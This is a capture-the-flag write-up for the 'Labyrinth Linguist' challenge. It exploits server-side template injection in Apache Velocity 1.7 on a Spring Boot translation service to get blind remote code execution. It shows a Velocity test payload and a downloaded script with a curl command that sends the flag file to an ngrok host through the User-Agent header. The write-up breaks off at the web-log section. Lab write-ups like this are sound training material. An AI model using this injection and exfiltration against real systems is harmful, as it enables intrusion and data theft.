Cyber Apocalypse 2024

Labyrinth Linguist

Solved by : thewhiteh4t

• In this challenge we have a translation service
• Upon inspecting source files, we noticed few things :
  • flag file is partially randomized in entrypoint.sh

mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt

• In pom.xml we can see the dependencies and their version information :

<parent>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-parent</artifactId>
  <version>1.5.10.RELEASE</version>
</parent>

<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
  <dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
  </dependency>
  <dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
  </dependency>
</dependencies>

• Velocity v1.7 is vulnerable to SSTI attack
• References :

  https://antgarsil.github.io/posts/velocity/
  https://iwconnect.com/apache-velocity-server-side-template-injection/
  

• Based on the PoC above we ran the test case

#set ($run=1 + 1) $run

• RCE was blind because we had no output of the commands so we used ngrok for getting a callback to confirm if the payload was working
• Then we tried reverse shells but none of them worked for some reason so we thought to simplify we can make it download a file
• And since the command output was not visible we used web requests to exfiltrate the flag by setting custom user agent in curl command

> cat pwn

curl "https://f084-116-74-26-67.ngrok-free.app/special" -H "User-Agent: $(cat /flag*)"

• After sending the file we send a second request to run it using : sh pwn

• Web logs in ngrok dashboard :